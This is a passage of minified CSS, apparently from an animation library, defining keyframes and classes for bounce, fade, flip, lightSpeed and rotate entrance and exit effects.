bounceIn{from,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInDown{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInDown{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInLeft{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInRight{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{from{opacity:0}to{opacity:1}}@keyframes fadeIn{from{opacity:0}to{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{from{opacity:1}to{opacity:0}}@keyframes fadeOut{from{opacity:1}to{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:none;transform:none;opacity:1}}@keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:none;transform:none;opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right 